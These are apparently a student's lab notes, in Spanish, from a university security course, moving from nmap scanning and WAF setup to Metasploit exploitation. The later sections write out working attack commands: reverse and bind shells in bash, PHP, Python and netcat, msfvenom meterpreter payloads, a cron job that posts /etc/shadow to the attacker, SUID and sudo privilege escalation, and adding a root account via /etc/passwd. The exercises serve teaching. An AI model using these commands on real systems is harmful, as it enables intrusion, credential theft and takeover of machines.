⚒ Ejercicio L89B2_SCANOUTPUT: Formatos de salida NMap


Formato NMap (-oN <fichero>)

Formato “Grepeable” (-oG <fichero> )

Formato XML (-oX <fichero>)

Práctica 8/9 – Bloque 3

⚒ Ejercicio L89B3_NSE: NMap Scripting Engine (NSE)


IMPORTANTE: Actualizar la bbdd antes de hacer el locate: sudo updatedb
/usr/share/nmap/scripts

locate *.nse

Algunos scripts importantes:

• http-title : obtiene el título de la ruta raíz de los sitios web


• smb-enum-shares: enumera los recursos compartidos con el
protocolo SAMBA
• snmp-sysdescr: extrae detalles de sistemas remotos a través del
protocolo SNMP
• whoisip: hace una conexión a los servidores WHOIS para saber más de
la dirección del objetivo
• skypev2-version, pptp-version e iax2-version (son de tipo versión están
embedidos al resultado de –sV)

nmap --script <archivo script> --script-args <parámetros del script>

⚒ Ejercicio L89B3_INFOGAT: Técnicas de recopilación de información con


NSE
Scripts importantes:

• ssh-auth-methods: localiza los métodos de autenticación aceptados


por un servicio SSH de un objetivo
o sudo nmap -p22 --script ssh-auth-methods <objetivo>
• [Link]: encuentra subdominios asociados con un dominio
principal de una organización
o nmap -p 80 --script [Link] < TARGET URL o IP >
• [Link]: encontrar hosts virtuales en una misma dirección IP
(varios sitios web que están alojados en el mismo servidor web)
o nmap -p 80 --script [Link] < TARGET URL o IP >
• [Link]: proporciona datos de geolocalización de
cada “salto” de esa ruta
o sudo nmap --traceroute --script [Link] -p
80 <objetivo>
• ipgeolocation-geoplugin: geolocalizar una IP

⚒ Ejercicio L89B3_HTTPINFOGAT: Recopilación de información HTTP con


NSE
• sudo nmap -p80 – script http-methods <objetivo>
o Enumera métodos HTTP potencialmente peligrosos.
• nmap --script banner <objetivo>
o información del servicio que proporcionan cuando se conecta
con ellos, lo que se conoce comúnmente como "banner
grabbing"
• [Link]: encuentra rutas válidas en un servidor web por fuerza
bruta para descubrir aplicaciones web que estén en uso
o nmap --script http-enum <objetivo>
o nmap --script http-enum --script-args
[Link]'pub/' <objetivo>
• nmap -- script http-title -sV -p 80 <objetivo>: agrega los títulos de las
páginas web a los resultados de un análisis de NMap para que se
pueda tener un mejor contexto de un host que ejecuta servicios HTTP
• nmap - -script whois-ip –script-args [Link]-arin+ripe+afrinic
<objetivo> : utiliza los datos de la IANA para encontrar una base de
datos WHOIS y localizar la información que queremos

Práctica 8/9 – Bloque 4

⚒ Ejercicio L89B4_SCRIPTSCAN: Escaneando en busca de archivos concretos


#!/bin/bash

for ip_address in 156.35.9{0..9}.{0..255}; do

wget -t 1 -T 5 [Link]
done&

⚒ Ejercicio L89B4_JSSCAN: Endpoints de servicios en archivos JavaScript


Dominio básico:

Incluyendo subdominios:

photon -u [Link] -l 3 -o output_directory

Extraer URL con parámetros

Photon -u [Link] -o output_directory –wayback

Buscar patrones personalizados (regex):

Photon -u [Link] -o output_directory --regex 'your-regex-


pattern'

Extraer archivos específicos:


photon -u [Link] -o output_directory --only-pdf --only-png --
only-xml

Recolección de datos OSINT:


photon -u [Link] -o output_directory --osint

⚒ Ejercicio L89B4_S3SCAN: Buckets de Amazon S3


Photon –u [Link] -regex 'https?://[^/]+\.s3\.amazonaws\.com'

Podría realizarse con la web de uniovi ([Link]) NO usar [Link]


Práctica 10 – Bloque 1

⚒ Ejercicio L10B1_REVPROXY: Apache 2 instalado como un proxy inverso


sudo apt install apache2

sudo a2enmod proxy

sudo a2enmod proxy_http

editar el archivo /etc/apache2/sites-enabled/[Link]

Por ejemplo, puedes redirigir las solicitudes a "/epi" y "/eii" a las IPs indicadas
en la figura de ambos servidores web. Para garantizar un proxy inverso
transparente de las máquinas necesitamos utilizar las directivas ProxyPass y
ProxyPassReverse ([Link]
sobre las IPs de la red interna. Ambos deben apuntar a la misma IP del
servidor correspondiente. Por lo tanto, debemos crear dos entradas Location
en ese archivo con esta estructura, ambas dentro del bloque VirtualHost
existente:

sudo service apache2 restart

Para comprobar que funciona usamos: curl <IP_Proxy>


Práctica 10 – Bloque 2

⚒ Ejercicio L10B2_WAF: Instalación de un WAF


sudo apt install libapache2-mod-security2

Mover y cambiar el nombre desde el proxy del archivo [Link]-


recommended

sudo mv /etc/modsecurity/[Link]-recommended
/etc/modsecurity/[Link]

Desde la MV descagar:

git clone [Link]

Y copiarlo en el directorio /volume_data/rules/

cp -r owasp-modsecurity-crs
Desktop/ssi_labs/lab_sessions/lab_10/volume_data/rules/

Desde el proxy:
cd owasp-modsecurity-crs cp [Link] /etc/modsecurity/crs-
[Link] cp -r rules/ /etc/modsecurity/

cd owasp-modsecurity-crs

sudo cp [Link] /etc/modsecurity/[Link]

sudo cp -r rules/ /etc/modsecurity/

Revisar la configuración del archivo: /etc/apache2/mods-


available/[Link]
Reinicia apache después de esto

Modificar el siguiente archivo:

/etc/apache2/sites-enabled/000- [Link]
NIKTO -> nikto –host <url>

⚒ Ejercicio L10B2_WAFPROT: WAF contra ataques web


XSS

Curl <ip>\-d “<script>alert(‘test’)</script>”

Inyección código SQL

Curl <ip>\-d “DROP DATABASE;”

Práctica 10 – Bloque 3

⚒ Ejercicio L10B3_SASTSCA: Herramienta de detección automatizada de


vulnerabilidades en aplicaciones SonarQube (SAST, con módulo SCA
opcional)
sudo apt install maven

Ejecutar run_sonarqube.sh
Iniciar sesión en [Link] credenciales: admin / admin

Das a esta opción en el panel de Projects

Rellenas la información y creas el proyecto

Generas el token y seleccionas Maven

Este comando es el que tendrás que ejecutar para hacer el escáner


Para ver los problemas de seguridad, en el navegador miramos en la pestaña
de Security Hotspots

⚒ Ejercicio L10B3_DAST: Uso de un DAST contra una aplicación


sudo apt install openjdk-21-jdk

owasp-zap : ejecutar la herramienta

Práctica 11 – Bloque 1

⚒ Ejercicio L11B1_NMAPMSF: NMap y Metasploit Framework (MSF)


Para grabar un escaneo de nmap en un xml hay que hacer

Nmap –oX [Link] <opciones> <objetivo>

En este caso nmap –oX scan_result.xml [Link]

Si no está instalado msf, lo instalamos, no sin antes actualizar nuestra VM:

sudo apt update

sudo apt install metasploit-framework

Iniciamos la base de datos MSF: sudo service postgresql start

Iniciamos MSF: sudo msfdb init

Arrancamos la consola de MSF: msfconsole –q


Desde la consola se pueden usar varios comandos:

⚒ Ejercicio L11B1_DIRB: Enumerar posibles archivos ocultos con información


interesante (T1190. Exploit Public-Facing Application)
Para ejecutar dirb hacemos: dirb <URL_base>
En este caso: dirb [Link]
⚒ Ejercicio L11B1_SMB: Exfiltración a través de directorios compartidos por
SMB (T1190. Exploit Public-Facing Application)
Usaremos la herramiento smbclient.

Para listar los recursos compartidos en un servidor: smbclient -L


//<IP_del_servidor>

Una vez localizado el elemento compartido, nos podemos conectar al


recurso:

smbclient //<IP_del_servidor>/<nombre_recurso_compartido>

Si requiere de autenticación:

smbclient //<IP_del_servidor>/<nombre_recurso_compartido> -U <usuario>


Una vez dentro del recurso, podremos usar un shell. Podremos navegar por
el recurso compartido con “cd” para cambiar de directorio y “ls” para ver
todos los archivos y directorios.

Descargar archivos: smb: \> get <nombre_archivo>

En nuestro caso, la secuencia de ordenes será así:

smbclient -L //[Link]

smbclient //[Link]/GollumShare

cd /etc

get passwd

⚒ Ejercicio L11B1_CEWL: Diccionarios de contraseñas de palabras comunes


contra objetivos concretos (1078. Valid Accounts)
Para ejecutar cewl: cewl [options] <url>

Si queremos conseguir una lista de palabras de 5 letras o más de la web de


EII usamos: cewl -m 5 [Link]
⚒ Ejercicio L11B1_NMAPBRUTE: Fuerza bruta en línea con Nmap (1078. Valid
Accounts)
echo "remotessiuser" > [Link]

nmap --script [Link] --script-args


userdb=[Link],passdb=[Link] <IP_de_la_máquina_vulnerable>

[Link] debe ser un archivo con las palabras que encontramos antes

⚒ Ejercicio L11B2_NETCAT: Netcat como herramienta de escucha (TA1059.


Command and Scripting Interpreter)
Primero hacemos que el puerto escuche: nc –lvp <puerto>

En nuestro caso usaremos el puerto 445: nc –lvp 445

Podemos ver los puertos abiertos con: nmap -F [Link]

Desde otra consola, podemos mandarle una petición al puerto que está
escuchando: telnet <ip> <puerto>

En nuestro caso: telnet [Link] 445

Deberia aparecer algo parecido a esto: connect to [[Link]] from ubuntu-


jammy [[Link]] 45512d
⚒ Ejercicio L11B2_BINDSHELL: Bind shell con netcat (TA1059. Command and
Scripting Interpreter)

Desde victima: nc -lvp 8000 -e /bin/bash

Desde atacante: nc <dirección_IP_remota> <puerto>

Desde atacante: python3 -c "import pty;[Link]('/bin/bash')"


⚒ Ejercicio L11B2_REVERSESHELL: Reverse shell con netcat (TA1059.
Command and Scripting Interpreter)
Desde atacante: nc -lvp 8000

Desde víctima: nc <dirección_IP_remota> <puerto> -e /bin/sh

Desde atacante: python3 -c "import pty;[Link]('/bin/bash')"

⚒ Ejercicio L11B2_REVERSESHELLNONC: Reverse shell sin netcat (TA1059.


Command and Scripting Interpreter)
Aquí en la atacante hay que estar escuchando y los comandos se usan en la
vulnerable

• Bash reverse shell: bash -i >& /dev/tcp/<IP máquina atacante>/8000 0>&1

• PHP reverse shell: Ejecutar esto desde la línea de comandos: php -r


‘$sock=fsockopen(“<IP máquina atacante>”,8000);exec(“/bin/sh -i <&3 >&3
2>&3”);’

• Python reverse Shell: python -c 'import


socket,subprocess,os;s=[Link]
(socket.AF_INET,socket.SOCK_STREAM);[Link]((" <IP máquina atacante>
",8000));
os.dup2([Link](),0);os.dup2([Link](),1);os.dup2([Link](),2);p=[Link](
["/bin/sh","-i"]);’

⚒ Ejercicio L11B2_SEARCHPLOIT: Searchploit (T1203. Exploitation for Client


Execution)
Nmap –sv <IP>

Searchspoit <servicio>

Ejemplo:

Searchsploit httpd 2.4.59

⚒ Ejercicio L11B3_GTFOBINS: GTFOBins para exfiltración de datos


Con la máquina atacante escuchamos por el puerto correspondiente al
comando a ejecutar en la máquina vulnerable: nc –lvp <puerto>
Práctica 12/13 – Bloque 1

⚒️ Ejercicio L12B1_METERPRETER: Meterpreter para explotación (T1569.


System Services)

En la consola de MSF

Workspace: para ver los disponibles (normalmente default)

workspace -a lab12: añadir workspace (-d para eliminarlo)

Para encontrar un exploit podemos usar nmap

db_nmap -sV [Link] (versiones de servicios)


Una vez tengas los servicios y versiones, busca en una base de datos CVE (por
ejemplo , [Link]) los exploits disponibles para los servicios que
encontraste.

Este ejemplo se hace con un posible exploit a Apache 2.4.50 (versión superior
a la instalada en la máquina)

search <palabras clave> : busca en la consola msf posibles exploits, en


nuestro ejemplo: search apache 2.4.50

(Salen rutas a distintos exploits p.e:


exploit/multi/http/apache_normalize_path_rce )

use <ruta exploit> : para utilizar un exploit

show payloads : para listar todos los payloads compatibles

search payload/linux -t reverse : para restringir la búsqueda

(en nuestro caso podemos usar payload/linux/x64/meterpreter/reverse_tcp )

set payload linux/x64/meterpreter/reverse_tcp : para usar el payload


(debemos quitar payload de la ruta)

Info <nombre del exploit> : para consultar información detallada

Para nuestro exploit se necesitan estos parámetros

RHOST: [Link]

LHOST: [Link]

exploit : ejecuta el exploit

(en nuestro caso no va a ocurrir nada pq la versión a la que estaríamos


atacando es inferior a la que tiene ese exploit y no es vulnerable a ello,
tendríamos que buscar exploits para esa versión)
⚒️ Ejercicio L12B1_MULTIHANDLER: Payloads con msfvenom y multi/handler
msfvenom -p php/meterpreter_reverse_tcp LHOST=[Link] LPORT=4444
LHOST=[Link] --platform php --arch php -f raw > [Link]

El comando es para crear un payload en php con las características de la


máquina Ubuntu (esto se hace en la kali)

Así tiene que quedar el PHP


python3 -m [Link] 8000 : para crear un servidor temporal para
descargar el archivo

wget [Link] : en la máquina


Ubuntu para descargar el archivo

(en nuestro caso wget [Link] )

Si no deja con wget : curl -O [Link]

Ahora en la Kali, con la consola de msf usamos:

use exploit/multi/handler

set PAYLOAD php/meterpreter_reverse_tcp

set RHOST [Link]

set LHOST [Link]

set LPORT 3000

exploit –j

Entrar en la terminal de meterpreter (Desde msfconsole)

sessions

sessions -i 1
Práctica 12/13 – Bloque 2

⚒️ Ejercicio L12B2_CRONEXFIL: Escalada de privilegios a través de trabajos


cron: Exfiltración de información privada (T1053. Scheduled Task/Job)
chmod o+r /tmp/integrity_check.py

Editar el archivo

Nano /etc/crontab

Ver que scripts ejecuta run-parts

Ejemplo:

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command

17 * * * * root cd / && run-parts --report /etc/[Link]

25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report


/etc/[Link] )

47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report


/etc/[Link] )

52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report


/etc/[Link] )

En este caso:

/etc/[Link]

/etc/[Link]

/etc/[Link]

Crear en uno de esos directorios un [Link] con el siguiente contenido:

cat /etc/shadow | base64 | curl -X POST -d @- [Link] atacante>/exfil

Desde el atacante:

nc -lvp 80 > exfil_data.txt


Ejecutar el [Link] (antes darle permisos con chmod +x)

Sudo [Link]

Aparecerá en el kali (atacante) un fichero llamado exfil_data.txt

Práctica 12/13 – Bloque 3

⚒️ Ejercicio L12B3_RSHELLEXIT: Romper restricciones y ocultar actividades


(T1548. Abuse Elevation Control Mechanism)
Para abrir una shell no restringida

sed -n '1e exec sh 1>&0' /etc/hosts

⚒️ Ejercicio L12B3_SUDOEXE: Identificación de programas sudo (T1548.


Abuse Elevation Control Mechanism)
Para ver qué programas podemos ejecutar con sudo:

sudo -l

⚒️Ejercicio L12B3_VALIDACC: Generar una contraseña válida para un usuario


de Linux (T1078. Valid Accounts)
Para crear contraseñas:

mkpasswd

mkpasswd -m SHA-256

Sustituir en /etc/passwd -> Esto serviría para crear un nuevo usuario (de
manera remota, con permisos de root)

<nombre usuario>:<contraseña generada>:0:0:root:/root:/bin/bash

⚒️ Ejercicio L12B3_SUDOSCALE: Escalar privilegios a través de programas


sudo (T1548. Abuse Elevation Control Mechanism)
Si tenemos acceso a apt-get podemos usar

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

Para escalar privilegios

⚒️ Ejercicio L12B3_SUIDEXE: Identificación de programas SUID (T1548. Abuse


Elevation Control Mechanism)
Para identificar problemas: find / -perm -u=s -type f 2>/dev/null

Para activar bit de SUID: chmod +s <archivo>


⚒️ Ejercicio L12B3_SUIDSCALE: Escalada de privilegios a través de programas
SUID (T1548. Abuse Elevation Control Mechanism)
/bin/bash -p : Para obtener un shell con privilegios (/bin/bash tiene que tener
bit s)

⚒️ Ejercicio L12B3_INSPECTSCALE: Escalada de privilegios potencial a través


de técnicas de inspección ejecutables (T1078. Valid Accounts)
strings <programa> : así podemos ver todos los strings hardcodeados en un
programa

También podría gustarte